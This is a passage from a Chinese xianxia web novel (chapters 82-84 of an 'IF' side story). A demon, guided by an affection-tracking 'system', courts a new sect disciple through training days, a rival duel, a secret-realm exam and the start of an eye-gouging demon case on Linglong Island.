岁忆谙转身看去,是一个男子,夜色昏暗,她看不清男子的衣着样式,误以为他是凌仙宗弟子。
男子问:“你是凌仙宗的弟子?”
岁忆谙点头:“是,我叫岁忆谙,今天刚入门,这位……师兄?”
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“楼从南。”男子莫名地笑了笑。
岁忆谙见楼从南没有反驳自己的称呼,便说:“楼师兄,我想问问膳厅往哪儿走?我不认识路。”
“天色已晚,膳厅怕是已经关了。”
岁忆谙一听,神情失落。
楼从南将岁忆谙的反应都看在眼里,他又道:“不过我房里有些糕点,我可以拿些给你。”
【叮!】
【攻略对象岁忆谙对楼从南好感度上升至百分之三十五。】
岁忆谙欣喜若狂:“真的吗?会……”
“不必了。”
岁忆谙的话被打断,两人同时朝声音来源看去。
“靳江浛?”岁忆谙有些诧异,靳江浛怎么会来这儿?
云层散开,靳江浛一身玄衣顶着白色的月光而来,他慢慢走到岁忆谙身边,忽视掉眼前的楼从南,对岁忆谙说:“糕点吃多了容易积食,我煮了面,你吃面吧。”
“多谢楼掌教,我们先回去了。”靳江浛拉过岁忆谙转身离去,丝毫不理会楼从南的反应。
“你拉我干什么?快放开我。”
岁忆谙挣扎不开靳江浛的手,她回头朝楼从南挥手道别,仓促间只来得及朝楼从南投去歉意的眼神。
而楼从南站在原地,也朝岁忆谙挥手。
靳江浛看得不顺眼,他将岁忆谙猛地拉到自己身侧,说:“你还真想去吃糕点?”
岁忆谙无语:“人家好心好意给我糕点,你回绝掉干什么?又不是给你的。”
“他可不是你的师兄,而是你的掌教。”
靳江浛向零零壹问过楼从南的身份,他不是弟子,而是凌仙宗内唯一的掌教。
“掌教?”
岁忆谙听到这句话后有些疑惑,既然是掌教,那又为何要变相应下自己称呼他师兄?
“行了,我送你回去。”靳江浛松开她的手,然后走向女弟子的住处。
岁忆谙出声:“等一下。”
靳江浛闻声顿住脚步,缓缓转过身来。
只见岁忆谙几步来到靳江浛面前,仰起脸直视着他的眼睛,浅棕色的眸子里闪烁着质疑的微光。
“面呢?”
靳江浛有一瞬的心虚,眼神也闪烁了一下,为了不让岁忆谙吃楼从南给的东西,他才随口说出了那句话。
想来,岁忆谙是真饿了。
“面…………”靳江浛的声音低了几分,带着一丝不易察觉的局促,“我等会儿送你房里。”
“行。”岁忆谙应下,现在也不能倒回去找楼从南要糕点,要是靳江浛给不出来,自己就把他揍一顿。
靳江浛先是将岁忆谙带到女弟子住处门口,然后转身离去。
“零零壹,快帮我做碗面出来。”
【宿主,为了岁忆谙的好感度,您还是自己做吧,这样她也能感到您的心意。】零零壹出声拒绝。
靳江浛:“…………”
门窗紧闭的膳厅里传来乒呤乓啷的动静,好一会儿动静才停了下来。
零零零号卧房内,岁忆谙坐在桌前等着靳江浛给她送面,不过她意识到了一件事,男弟子不能进女弟子住处,那靳江浛怎么进来?
这个念头刚出来,面前就凭空出现一道身影,是靳江浛。
她都差点忘了靳江浛是魔族。
靳江浛手里端着个木盘子,他走到桌前将盘子放下,一碗清汤面,上面放了几根嫩绿色的青菜,还有一个荷包蛋。
岁忆谙迫不及待地尝了一口,说:“你没下盐?”
白水煮面,没有一丝咸味。
靳江浛一愣,他没放盐吗?
【没有。】零零壹回答了靳江浛的问题。
靳江浛有些尴尬,他答非所问:“凌仙宗弟子辟谷,就算要吃也只能吃素,这个鸡蛋还是我下山去村里买的。”
“没想到你人还挺贴心的。”岁忆谙随口夸道。
这句话倒是让靳江浛怔住,不论上一世,还是这一世都没有人夸过他,不对…………岁忆谙之前还夸他好孩子。
一想到这儿,靳江浛脸刷一下就红了,心脏止不住地跳动,他都不知晓自己怎么就脸红了。
“对了,你在哪儿做的面?”岁忆谙头也不抬地问。
“膳厅啊。”
岁忆谙诧异地抬头看了靳江浛一眼,却发现他发丝上盖着一层白雾,脸上和衣袖上都沾着白粉。
这面不会是靳江浛亲手揉的吧?
“你身上都是面粉。”岁忆谙出声提醒。
靳江浛一听,站起身走远了些,然后才拍掉自己身上的面粉。
【叮!】
【攻略对象对您的好感度上升至百分之四十。】
82. IF假如是反派攻略(三)
叩叩叩———
“岁师妹,该起床了。”
门外传来金萱的声音,床榻上的岁忆谙翻了个身,继续睡去。
敲门声持续响着。
岁忆谙无动于衷,直到她被人拽起。
“靳江浛?”岁忆谙迷迷糊糊地睁开眼,就看见了是靳江浛拽她起来的。
靳江浛站在床边,说:“别睡了,再不起来,金萱就要喊长老来把门拆了。”
岁忆谙迷迷糊糊地“哦”了一声。
眼见岁忆谙的身子又要往床榻上倒,靳江浛蹲下身,再次拉起她,修长的手指轻轻抚过岁忆谙的脸颊,施法用魔力让她保持清醒。
“别睡了。”靳江浛的嗓音里带着些许无奈的笑意。
岁忆谙清醒后看清了眼前的靳江浛,她困惑地问:“你怎么在这儿?”
“遮眼睛干什么?”
靳江浛的双眼被一条白纱遮住,岁忆谙忍不住伸手轻轻拽了拽,指尖也触碰到了他高挺的鼻梁。
靳江浛只感觉鼻梁发痒,虽然双眼被遮,但他还是准确无误地握住了岁忆谙的手腕。
“怕你岁忆谙的名字因为睡懒觉而传遍凌仙宗。”靳江浛唇角微扬,只回复了岁忆谙的第一个问题。
“现在下山还来得及吗?”岁忆谙烦躁不已。
天边泛起鱼肚白,山头云雾缭绕,停在树枝上的鸟鸣叫出声,凌仙宗的所有弟子都聚集在大殿之外。
晨风微凉,吹起岁忆谙的白色裙摆,短短一炷香,她就打了十几个哈欠,靳江浛站在她身侧。
两人站在所有弟子们的最后一排。
石长老在上面叽里咕噜说着,当岁忆谙快要站不住时,弟子们终于散开。
这时,白英空走到两人面前。
岁忆谙急忙说:“白师兄,我不想修仙了,我能下山吗?”
白英空问:“为什么呢?是起太早了吗?”
岁忆谙点点头。
“只有每个月的初一十五才需要开晨会,你们其余的时间都由我来分配。”白英空笑道。
“我只负责带你们半年,半年后,你们要跟着长老,之后,你们的时间都由他们来分配了。”
“那白师兄,我现在能回去睡觉吗?”
靳江浛的视线一直落在岁忆谙身上,见她满心期待地盯着白英空,他就心生不满。
岁忆谙对他的好感度可有百分之四十,这个百分之三十的白英空有什么好的。
白英空依旧笑得温柔,但他却说出了最绝情的话。
“不可以。”
岁忆谙又问:“那可以吃早膳吗?”
“修仙之人要辟谷,这更有助于我们修炼。”
岁忆谙小声说:“我觉得我还是下山吧。”
“不过,你是新入门的弟子,凡是都得循序渐进,所以你今日是可以用早膳的。”
“太好了!”
*
桌上摆着的一碗稀粥和一个包子,岁忆谙生无可恋道:“只有这个?”
“对呀。”白英空点头。
岁忆谙无奈,她端起稀粥一饮而尽。
没错,一饮而尽。
粥稀的只有几粒米,包子是菜馅的,不过馅儿多。
靳江浛没吃,他将自己的那份稀粥和包子给了岁忆谙,这让岁忆谙感激涕零,不过好感度一点儿没涨,还是百分之四十。
两碗稀粥和两个包子下去,岁忆谙勉强吃饱。
用完早膳后,白英空带着两人来到兵器库里,让两人各自挑一把趁手的兵器。
靳江浛假装拿了一把黑石长剑,而岁忆谙很犹豫,她并没有很想要的武器,就没有选择。
选不选择都没有关系,只要修为高,不用武器也能保护自己。
两人回到武场,他道:“今日的第一课,便是锻炼自己的体魄。”
“你们先绕着这武场跑五圈,我带着你们跑。”
五圈!!!
岁忆谙震惊地看向武场,这一圈起码有一公里吧,跑不了了啊!
她再次询问:“师兄,能不能先跑一圈?”
“也可以,走吧。”
这么好说话,早知晓就说不跑了,岁忆谙心中暗想。
跑完后,接下来的一整天都在上文课,只有两个人的课堂上,岁忆谙不得不做出一副好学生的模样,可她双眼放空,一点儿知识都没有进入脑中。
而靳江浛满脑子也不在知识点上,他一直在想自己该怎么刷好感度。
【观察岁忆谙的一举一动,然后判断她喜欢什么,不喜欢什么,再给她喜欢的,扔掉她不喜欢的就好啦。】零零壹提出建议。
靳江浛说:【你说的倒轻松,我和她又不能时时刻刻在一起,我怎么知晓她喜欢什么,不喜欢什么。】
【请宿主仔细观察。】零零壹都无语了,靳江浛这个废物。
第二天便是打坐修炼法术。
打坐了快一个时辰,岁忆谙一闭上眼就是好吃的食物,忽然间,她好像闻到了酱肉香。
不是好像………………
岁忆谙睁开眼,就看见一个油纸包,正散发着诱人的香气。
“这是什么?”
靳江浛往前递了递:“鲜肉饼,我特意下山买的。”
岁忆谙伸手接过,掌心接触鲜肉饼传来的温度,心里某个角落也跟着暖了起来,她不可置信地问:“给我吃的?”
“不然呢?”
【叮!】
【攻略对象对您的好感度上升至百分之四十五。】
接连几天都是这样,岁忆谙过得无趣极了,而之后无论靳江浛再做什么,好感度一直保持在四十五,涨都不涨了。
这天辰时,两人来武场,以往这个时辰白英空都在武场等着了,可今天却没有瞧见他,反倒是瞧见了一个有过一面之缘的人。
“楼…………掌教?”岁忆谙走上前,疑惑地看着眼前的楼从南。
“是我。”楼从南一身湖蓝长衫,衣袂翩然,清雅出尘。
不远处的靳江浛见到楼从南后,加快了脚步,有意无意地挡在岁忆谙与楼从南中间,他不悦道:“怎么是你?”
楼从南并不在乎靳江浛的语气,他说:“英空临时有事,今日便由我来带你们。”
“你也配。”靳江浛下意识说出了口。
楼从南勾起的唇角一僵,接着垂下眼眸,看起来失落至极。
“啧,怎么说话呢?”岁忆谙不满地瞪了靳江浛一眼,也不知晓他对楼从南哪儿来的这么大敌意。
“我怎么…………”
【宿主,想想好感度!】
靳江浛正欲反驳时,零零壹出声阻止,他重新说:“我的意思是,他实力太弱。”
岁忆谙有些无语,搞得好像白英空实力很强似的。
这时,楼从南开口了,“既如此,我们不如比试一番?”
岁忆谙诧异地看向楼从南,一个掌教被弟子冒犯,不想着惩治他,倒是想着比试,真是搞不懂。
“好啊,谁怕谁?”靳江浛就像一个毛头小子般冲动应下,从见到楼从南第一面开始,他就不喜欢这个人,没有原因。
岁忆谙弱弱开口:“我记得凌仙宗弟子不得私下斗殴吧。”
“只是切磋切磋而已。”
“那你们切磋久一些。”这样她就能偷懒了。
三人来到一处隐蔽的空地,岁忆谙坐在一颗树底下,开始看两人切磋。
靳江浛率先出手,身形一动,寒光划破长空,黑石长剑直指楼从南的胸膛。
楼从南的脚步微微挪动,闪身躲过长剑,他没有兵器,而是朝靳江浛掐诀施法。
岁忆谙打着哈欠,有些无聊地看着两人一来一回地打着,最后直接靠着树干睡了过去。
直到一道厉声传来。
“你们竟然敢私下斗殴!”
岁忆谙被吵醒,一睁眼就看见前面围着许多人,众人的视线都在靳江浛和楼从南身上,似乎没人注意到睡在树下的她。
“你身为掌教,竟然与弟子斗殴,简直是不把门规放在眼里。”
“还有你,一个刚入门的弟子就敢不敬掌教,好大的胆子!”
石长老气愤的声音传来,他指着两人骂道。
“你们两个,罚抄门规十遍!”
岁忆谙站起身拍了拍衣衫上的尘土,踮着脚往人群里看去,靳江浛一脸不屑,而楼从南倒是十分顺从,两个人的脸上都没有自己有错的神情。
等弟子散去,岁忆谙的眼底是毫不掩饰的幸灾乐祸,她走上前,眉眼弯弯:“你们谁赢了?”
靳江浛闻言,抱臂看她,下巴微抬,傲娇道:“自然是我。”
“让你看笑话了,你会不会看不起我?”说这句话的楼从南并没有表现局促或者尴尬的模样,而是大大方方地看向岁忆谙。
“啊?”岁忆谙懵了。
谁看不起谁?
靳江浛见状,冷冷地扫了楼从南一眼,他收起黑石长剑,厉声道:“我看不起你。”
话音刚落,靳江浛就一把扣住岁忆谙的肩转身。
“去吃午膳了。”
打着打着就中午了,这一天里,岁忆谙唯一的盼头就是吃饭。
岁忆谙回头朝楼从南招了招手:“楼掌教,我们先走啦。”
“下午不用上课,你们好好休息。”
“好
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!”
【叮!】
【攻略对象岁忆谙对楼从南好感度上升至百分之三十七。】
靳江浛一听,心中极其不爽。
岁忆谙又说:“要是楼从南一直教我就好了。”他看起来比白英空好说话。
靳江浛黑眸深沉,伸出另一只手钳住岁忆谙的下巴,掰过她的脸,哑着声音问:“你就这么喜欢上他的课?”
岁忆谙挣脱开肩上的手,说:“关你屁事,莫名其妙。”
两人来到膳厅,靳江浛还生着闷气,他见不得岁忆谙对其余人的好感度比自己高,所以也不让岁忆谙与旁人多聊。
或许这是胜负欲?
靳江浛这般想着。
岁忆谙开心地吃着午膳,没想到凌仙宗早膳不怎样,午膳倒是挺好的。
麻婆豆腐,水煮青菜,炒土豆丝。
面前落下一道阴影,岁忆谙抬头看去,是金萱。
岁忆谙点头问好,毕竟她嘴巴没空。
靳江浛问:“金……师姐,你怎么来膳厅用膳了?”
“我不是来用膳的,我是来通知你们一件事的。”
“再有半个月就是弟子大考了,本来不应该有你们两个的,但是白师兄说你们资质不错,学东西也很快,所以石长老就让你们参加接下来的弟子考核。”
岁忆谙眼下食物,忍不住低声说:“资质不错?从哪儿看出来的?”
上课发呆,跑步漏圈数,打坐睡觉,岁忆谙就不信白英空一点儿都不知晓。
金萱没听清楚,她问:“你说什么?”
“没什么……金师姐,那要考核些什么?考核标准又是什么?考核不过会怎样?”岁忆谙问了一连串的问题。
金萱一个一个回道:“自然是平日里学过的,标准的话还是要看各个长老的要求,考核不过也不会怎样,顶多被罚扫扫地而已。”
“扫地?”岁忆谙面上一喜,那不就可以偷懒了吗?
靳江浛看出了岁忆谙的心思,他问:“扫地是把整个宗门都打扫一遍吗?”
“是的,不过考核过的会放半个月假,弟子们可以选择下山,也可以选择留在凌仙宗。”
“那考核不过不会要扫半个月吧?”
“是的。”
岁忆谙面上的喜悦瞬间消失,她又去要了碗饭。
深夜,靳江浛轻车熟路地来到岁忆谙的卧房,与之前不同的是,他手里拿着的不止有汤面,还有笔墨纸砚。
“你还真要抄写啊?”
“不然呢?”
岁忆谙诧异地看着靳江浛,他竟然会乖乖罚抄,真是不可思议。
之前靳江浛来送夜宵时,都会陪岁忆谙待上一会儿,聊聊天或者复习一下当天学的内容。
岁忆谙将夜宵干完,有些无聊地看着奋笔疾书的靳江浛。
靳江浛能感受到落在自己身上的视线,他不由得掌心冒汗,连着写错了好几个字。
门规有六百多条,岁忆谙说:“看在平日里你给我送夜宵的份上,要不要我帮你抄。”
毛笔一顿,靳江浛抬眸看她,欣然答应道:“好啊。”
书中世界的字和现实世界的字不一样,岁忆谙没怎么练,只能照葫芦画瓢。
当靳江浛看见岁忆谙抄写的字后,他一言难尽。
“你…………”
“怎么了?”岁忆谙抬头看他。
靳江浛忍不住笑道:“你看看你写的,鬼画符呀。”
宣纸上的字乱七八糟,不一个字一个字看都不知晓写了什么。
岁忆谙不满地说:“你不也写得跟鬼画符一样。”
大概半个时辰后,岁忆谙就犯困,脑袋一点一点的,眼前模糊,手中的毛笔也拿不稳,宣纸上的字就像条蚯蚓一样蜿蜒扭曲,这下子仔细看都看不出来了。
咚的一声,岁忆谙的额头重重磕在桌面上,疼得她一个激灵。
“嘶———”岁忆谙倒抽一口凉气,捂着额头坐直起身。
靳江浛忍不住笑出声来,下一秒,桌下的小腿就被踹了一脚。
“你自己写吧,我要睡了,记得收拾干净。”
岁忆谙愤愤地搁下毛笔,懒懒地打了个哈欠。
起身时,飘逸的衣袖蹭过靳江浛的脸庞,带着一股淡淡的墨香,他侧头看去,岁忆谙的身影消失在纱幔之中,隐约能在纱幔上看见她的影子。
靳江浛收回视线,正要继续执笔写时,他忍不住抬眸看向桌上的另一只毛笔。
那是岁忆谙拿过的。
当靳江浛反应过来后,他已经将笔拿在手里了。
笔杆上似乎还残留着独属于岁忆谙的温度,靳江浛拿得有些烫手。
83. IF假如是反派攻略(四)
半个月一晃而过,弟子考核如期而至。
弟子们需要抽签决定考核内容,而岁忆谙抽中的是‘秘境’二字,而负责‘秘境’的人是石长老。
靳江浛偷偷瞥了一眼岁忆谙的签子,看清楚上面的字后,他跟做贼似地施法改掉自己签子。
“靳江浛,你是什么?”
靳江浛吓得一个激灵,他拿出签子给岁忆谙看。
岁忆谙看后松了口气:“我和你是一样的。”
石长老出现在众人面前,他道:“抽中‘秘境’签子的弟子需要两两组队,成功组队后,便一同进入秘境。”
“你们需要在秘境里拿到下山令牌,只有拿到下山令牌的弟子才可以下山,没有拿到的都是考核不通过的!”
接下来是组队环节,弟子们纷纷散开,寻找自己的搭档,石长老没说不能找异性组队,岁忆谙开口出声。
“靳江浛,你跟我一组吧。”
靳江浛强压下翘起来的嘴角,语气冷硬:“我为何要跟你一组?”
“那我去找别人。”岁忆谙十分果断,她转身就走,找靳江浛组队也只是因为她只认识靳江浛,要不然她就去问金萱师姐。
靳江浛慌了神,他只是问问,怎么人就走了?
“等一下!”靳江浛一把扣住岁忆谙的手腕,将人猛地拽回身前,“我又没拒绝,你急什么?”
靳江浛的声音里带着几分急促,手上不自觉地收紧了力道。
岁忆谙被靳江浛拽得踉跄半步,她晃了晃手中的签子,重新说:“你跟我一组。”
“嗯。”
两人进入秘境,进入前还能听到石长老说:“怎么多了个人?签子数是刚好的呀。”
秘境中,周围树林环绕,两人跟无头苍蝇一样乱转,不知不觉地就走到了一棵桃花树下,淡粉色花瓣随风飘落。
“都不知晓这个下山令牌长什么样子,怎么找啊?”岁忆谙烦躁地踢开脚边的石子。
石子咕噜咕噜滚进茂密的草丛里,草丛突然传来悉悉索索的声音,野草疯狂抖动。
靳江浛警惕地将岁忆谙护在身后,岁忆谙也吓了一跳。
草丛之中,一条棕色的蛇游了出来。
“是蛇?”岁忆谙抬出脑袋。
靳江浛道:“不,是桃花树精。”
话音刚落,地面突然裂开蛛网般的纹路,数条细长的树枝竟然破土而出,犹如长蛇。
树枝朝两人袭来,靳江浛化出黑石长剑,一剑挥断靠近的树枝时,大把大把的桃花随之散开。
两人的视线被桃花瓣扰乱,都没有看见甩过来的树枝。
啪的一声,两人被树枝甩飞到空中,靳江浛伸手揽住岁忆谙的腰,带着她落在地上。
两人还未站稳,又有几根树枝飞来,靳江浛再次挥剑。
桃花纷飞,树枝胡乱舞动。
岁忆谙眼尖地瞥见一根树枝朝劈向靳江浛,她脑子还未反应过来,手就下意识已经伸出去了。
“啊!”
树枝甩在了岁忆谙的手臂上,她痛呼出声。
靳江浛发现后,也顾不得魔气会被其余人察觉,他运转鬼石魔力,施法布下结界。
黑气将两人笼罩,两人得以喘息。
“你替我挡什么?傻不傻啊?!”靳江浛忍不住质问,此刻的心慌乱至极。
靳江浛拉起岁忆谙的手臂,将袖子拉上,一条长长的伤痕出现在白皙的皮肤上,他伸手浅浅盖上,用魔力治疗。
岁忆谙道:“下意识出手而已。”
不一会儿,伤口消失。
岁忆谙抽回手,问:“现在怎么办?”
“自然是把这桃花树精除掉。”
靳江浛握着剑柄的手青筋暴起,他压着怒气叮嘱:“你别出来。”
说罢,靳江浛转身离开结界。
刚刚靳江浛只是想多刷些好感度才不慢悠悠与树精对决,现在他不能再让岁忆谙受伤了。
正当他准备一剑灭了桃花树精时,远处传来阵阵声响。
“魔气是从那里传来的!快!”
岁忆谙看了眼泛着黑气的结界,低声说:“靳江浛,你快把结界撤掉。”
靳江浛毫不犹豫开口:“不行,你会受伤的。”
岁忆谙微微一愣。
【叮!】
【攻略对象岁忆谙对您的好感度上升至百分之五十。】
不含任何感情的机械声让靳江浛也愣了一下。
“再不撤掉的话,你的身份就要暴露了。”岁忆谙又道。
靳江浛没想到岁忆谙会这么担心自己,他的心里涌起一股不知名的情绪,但他并未理会。
岁忆谙打算冲破结界,她开始回想平时学习的术法,只可惜记得不清不楚,早知如此,当初她就好好学了。
但岁忆谙还是尝试着掐诀念咒,不过她只记得这一句:“此间禁制,散为飞烟————破。”
与此同时,时刻注意着她的靳江浛也悄悄解开结界。
黑气四散,数条树枝也没了阻挡,纷纷朝岁忆谙甩来,一道身影及时挡在岁忆谙身前。
“靳江浛!”
岁忆谙大喊道。
【叮!】
【攻略对象岁忆谙对您的好感度上升至百分之五十五。】
靳江浛的背部被树枝抽得皮开肉绽,鲜血横流,他往前倒去,扑进了岁忆谙的怀中。
岁忆谙牢牢地抱住了他。
桃花树精的击打还在继续,靳江浛运转魔力想要暗自反击,就在这时,一道蓝衣身影从天而降,他急忙收回手,然后装晕倒在岁忆谙身上。
楼从南轻轻挥袖,桃花树精收回树枝,恢复正常的模样。
“楼掌教,你快看看他。”岁忆谙慌张道,她将靳江浛放倒在地上,此刻的他伤痕累累,面色惨白。
楼从南扫视了一眼周身散着淡淡黑气的靳江浛,问:“他身上有魔气?”
岁忆谙对上了楼从南探究的目光,她眨了几下眼,泪眼婆娑地说:“刚才有个黑袍人出来伤了靳江浛,我不知晓那个黑袍人是不是魔。”
楼从南并未多说什么,他施法为靳江浛疗伤,片刻之后,他收回手,道:“好了,我先带你们出去,稍后我会向宗主禀报秘境有魔族闯入的。”
话落,一群长老弟子从远处奔来。
“在这里在这里。”
“奇怪,怎么还走错路了?”跑过来的石长老还在抱怨。
凌仙宗医馆———
三楼的角落用帘子隔出了一个小空间,空间里只能发放下一张床榻,和一张小凳。
但药香还是能透过厚厚的帘子弥漫进来,还好墙边有一扇小窗,起码不会太闷。
风吹进来时,帘子也会微微晃动。
靳江浛安静地躺在榻上,岁忆谙坐在榻边的榻上。
装了快一个时辰的靳江浛终于佯装醒来,一睁眼便是岁忆谙那双充满担忧的眼睛,他的心跳不由得漏掉一拍。
“你醒了。”
“这里是医馆,楼掌教带我们出来的,现在弟子们应该都知晓了有魔族闯入凌仙宗,你现在感觉怎么样?”
“痛。”
靳江浛可怜巴巴地开口,这点小伤对他来说算不了什么,原本想说什么事也没有,不过能趁机博得岁忆谙好感也是不错的。
岁忆谙拿出一个瓷瓶,说:“医师认为你体内残留了魔力,所以这丹药是给你驱散魔力用的。”
“你…………应该不能吃吧。”
魔族如果吃了驱散魔力的丹药会怎样呢?
话落,吱呀一声,三楼的门被推开,脚步声逐渐靠近帘子。
两人噤了声的同时,帘子外面就传来一道声音。
“岁忆谙,靳江浛醒了吗?”
是楼从南。
岁忆谙看了靳江浛一眼,道:“醒了。”
“那我进来了。”
楼从南说着不容拒绝的话,他撩开帘子走了进来,看了眼岁忆谙手中的瓷瓶,问:“怎么不吃丹药?”
一见到楼从南,靳江浛的脸色骤然沉了下来,语气不含一丝温度:“太苦了。”
“怎会苦呢?这药是甜的。”
楼从南笑脸盈盈,落在靳江浛眼中便是挑衅。
“他怕苦。”岁忆谙急忙说。
岁忆谙倒出丹药,塞了一颗到靳江浛手中,佯装催促:“既然是甜的,那就赶紧吃一颗。”
岁忆谙打算转移话题,她问:“楼掌教,我们两个人的考核…………”
楼从南:“这次的考核突发变故,所以宗主决定推迟考核,一个月后再考。”
“我已经与长老,还有英空商量过了,你们两个刚入门的弟子遇到这样的事,肯定很害怕,所以我们一致决定,让你们休息七日,好好歇歇。”
楼从南没有要走的迹象,似乎是要看靳江浛吃下丹药,两人对视,隔间内顿时弥漫着一股剑拔弩张的紧张感,火药味很足。
直到靳江浛将丹药咽下,楼从南才道:“我先走了,你们好好休息。”
“楼………”
靳江浛开口,楼从南回头。
“掌教,我们这七日可否下山?”
楼从南抬手,掌心中化出一块令牌:“可以,拿着这个令牌即可。”
岁忆谙接过令牌,等到楼掌教离开后,她回到房内,“楼掌教走了。”
“咳咳………咳咳咳咳…………”一见到岁忆谙,靳江浛就弓腰咳嗽起来。
“你没
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事吧?”岁忆谙倒了杯水给他。
“没事。”一颗驱散魔力的丹药还不足以对他产生影响。
看着虚弱的靳江浛,岁忆谙无奈道:“你用身体替我挡树枝做什么?怎么?你也傻了?”
“我要保护你。”靳江浛目光灼灼,烫得岁忆谙心慌。
就在这时,靳江浛多嘴了。
“我们是搭档,我自然要保护你。”
【叮!】
【攻略对象岁忆谙对您的好感度下降至百分之五十。】
靳江浛听后慌乱开口:“当然啦,要是换作旁人,可能躺在这儿的就不是我了。”
意思不就是,他不会为旁人挡伤害,只会为岁忆谙挡。
【叮!】
【攻略对象岁忆谙对您的好感度上升至百分之五十五。】
听见提示,靳江浛松了口气。
岁忆谙离开后,靳江浛在脑中问:【零零壹,这个好感度到底是个什么东西?为何要到百分之百才能满足我一个愿望?】
【这个好感度其实就是爱意值,好感度百分百就是爱上你了,而岁忆谙是创造者,当她爱上你后,自然能同意你实现这个愿望。】
【爱上我?那我就是要让岁忆谙爱上我?】
【是的。】
说到爱,靳江浛有些困惑。
让岁忆谙爱上他,应该很简单吧。
靳江浛又问:【她对其他人的好感度是多少。】
【白英空是百分之四十,楼从南是百分之三十五,金萱是百分之四十五,其余人都低于百分之三十。】
靳江浛洋洋得意:“那我岂不是最高的了?这也能证明岁忆谙更爱我?”
零零壹想说百分之五十五代表的不是爱的,只是更信任的朋友关系,但它见靳江浛那么开心,也闭了嘴。
靳江浛只待到了下午,当晚就不顾医师劝告离开了医馆,他还要去给岁忆谙做吃的,哪有时间养伤。
深夜,岁忆谙坐在桌前,她手里拿着剪子,看着摇曳的烛火,正打算剪掉灯芯早早睡觉时,靳江浛来了。
“你怎么来了?”
“每晚我都来,怎么今晚来不得了?”靳江浛笑着反问,他将凉粉放在桌上。
岁忆谙实话实说:“你受伤了。”
靳江浛自然看到了岁忆谙眼中的惊喜,他道:“对我来说只是小伤而已,你的夜宵重要。”
靳江浛说得随意,但也是他内心的真实想法。
【叮!】
【攻略对象岁忆谙对您的好感度上升至百分之五十六。】
这话明显取悦到了岁忆谙,好感度又涨了一点。
趁着岁忆谙在吃凉粉,靳江浛说:“岁忆谙,这七日呆在宗门里也无趣,我们一起下山玩吧。”
岁忆谙点头:“好啊。”
次日一早,靳江浛在女弟子住处不远处等着,直到岁忆谙出现。
两人并没有穿宗门服饰,拿着令牌顺利下了山。
“听闻这玲珑岛有一座极其灵验的道观,我们去看看。”
“好啊。”
玲珑岛原本只是一座无名小岛,岛上的人都过着祥和的生活,直到传出岛里有一座十分灵验的道观,至此名声大噪。
这是零零壹给靳江浛提出的游玩地点,不过还有最重要的一个原因。
御剑来到玲珑岛后,岁忆谙没想到这里还挺热闹的,每条街上都挤满了人,不过都是女子,不见男子。
当靳江浛进城后,他几乎吸引了所有女子的目光,不过大多数都是惊讶,以及惶恐。
“姑娘,公子。”
正当两人疑惑之际,身后传来声音,回头看去,是一位气质温婉的女子,眉眼如画,高鼻梁,鼻尖还有一个小痣。
女子问:“两位不是玲珑岛的吧?”
两人对视一眼,靳江浛没有要搭理旁人的样子,岁忆谙开口:“不是,姑娘可有事?”
女子问:“可否借一步说话?”
茶楼雅间中,三人落座至窗边,窗户大开着,外头人声鼎沸,小二上了茶和糕点。
岁忆谙有些饿了,糕点一上来她就没移开视线,坐在她对面的女子将糕点朝她推近了些,笑道:“这茶是玲珑岛上产的,这些糕点也是玲珑岛独有的,姑娘尝尝。”
“谢谢。”
岁忆谙迫不及待地拿起一块方形糕点,糕点上印着竹叶,入口也有竹的清香。
“好吃。”
女子瞥了眼靳江浛,见他面无表情,才开口:“两位应该不是寻常人吧。”
在两人踏进玲珑岛的那一刻,女子就将两人打量了个遍。
岁忆谙疑惑:“怎么个不寻常法?”
女子反问:“两位可是凌仙宗弟子?”
84. IF假如是反派攻略(五)
“你怎知晓?”岁忆谙诧异。
而靳江浛横目看去,眼中满是警惕。
“你的令牌,更何况玲珑岛来往的船只我都知晓,最近并没有船进来。”
两人用来下山的令牌就被岁忆谙明晃晃地挂在腰间,令牌上刻着三个大字——凌仙宗,她有些尴尬地捂住令牌。
“妻主,该喝药了。”侍女突然端着一碗黑漆漆的药进来。
“妻主?”岁忆谙眼底满是好奇。
“我叫秦妤蓉,玲珑岛主是我的婆母。”
说罢,秦妤蓉将药一饮而尽,拿帕子擦了擦嘴,又开口:“两位有所不知,最近岛上里有妖。”
“妖?”
“这妖也奇怪,每逢初一十五必定会出来挖掉人的眼睛,而且只对男子下手,其余日子也会偶尔出来。”
岁忆谙问:“所以男子都不出来了?”
“对。”
看来这妖挺厉害的?竟然能使全岛的男子都足不出户。
岁忆谙这般想着。
“两位既是凌仙宗的弟子,可否帮助玲珑岛除去这只妖,玲珑岛必有重谢。”
秦妤蓉语气恳求,她的目光只落在岁忆谙身上,虽然她旁边的靳江浛看起来更有实力,但明显是岁忆谙对这事更感兴趣。
岁忆谙思索着,本来是出来玩的,怎么就要除妖了呢?
“你认为呢?”岁忆谙感受到了身旁的视线,她扭头看去,靳江浛目光灼灼。
“我又没有能力除妖,你问我干什么?”
“你想让我捉妖吗?”
“那你想捉妖吗?”
两人一人一句地问着,直到靳江浛说:“我听你的。”
岁忆谙:“………………”
对面的秦妤蓉眼波流转,捂着帕子暗自偷笑。
岛主的府邸在玲珑岛中心,秦妤蓉带着两人去见岛主张佩芩。
秦妤蓉踏入府门,一道棕色身影便从回廊处疾步而来。
“娘子,你终于回来了。”男子笑得眉眼弯弯,语气十分雀跃,他作势想要拥上秦妤蓉。
秦妤蓉有些不好意思,她瞥了眼身后的两人,说:“外人还在,你收敛些。”
男子这才看见秦妤蓉身后的两人,他问:“这两位是?”
秦妤蓉开口介绍:“两位是凌仙宗的弟子,可以解决岛中妖孽作祟一事。”
说着,秦妤蓉又挽住男子的胳膊,双颊微红地说:“这是我的夫君,张亦宣。”
几人还没说谈些话,侍女就走上前来,“妻主,岛主在前厅等您……只等您一个人。”
“夫君,我先去了。”
“嗯,我回房等你。”
两人恋恋不舍地分开,秦妤蓉让侍女带着岁忆谙和靳江浛去客房住下。
一路上,岁忆谙向侍女打听起秦妤蓉的事。
侍女说:“妻主是半年前加给少爷的,两人如胶似漆,日子过得万分甜蜜。”
紧接着,岁忆谙又问了关于妖的事情。
侍女有些支支吾吾地说:“同样在半年前……岛上就出现了挖人眼睛的妖怪,请了修仙弟子上岛,但都没有解决好。”
“那妖每月初一十五都会固定杀死一个男人,其余时间就不确定了,而且他们的眼睛都是被活生生挖出来的,身上还有被野兽撕咬出来的伤口,动不能动,喊不能喊的,只能等死。”
靳江浛问:“可有活下来的人?”
“有,就一个,是西街的一个铁匠。”侍女回。
岁忆谙问:“你们府上的女子怎么都在眉间画花钿呀?”
从上岛后,岁忆谙就发现有些女子眉间画了花钿,有些女子没有。
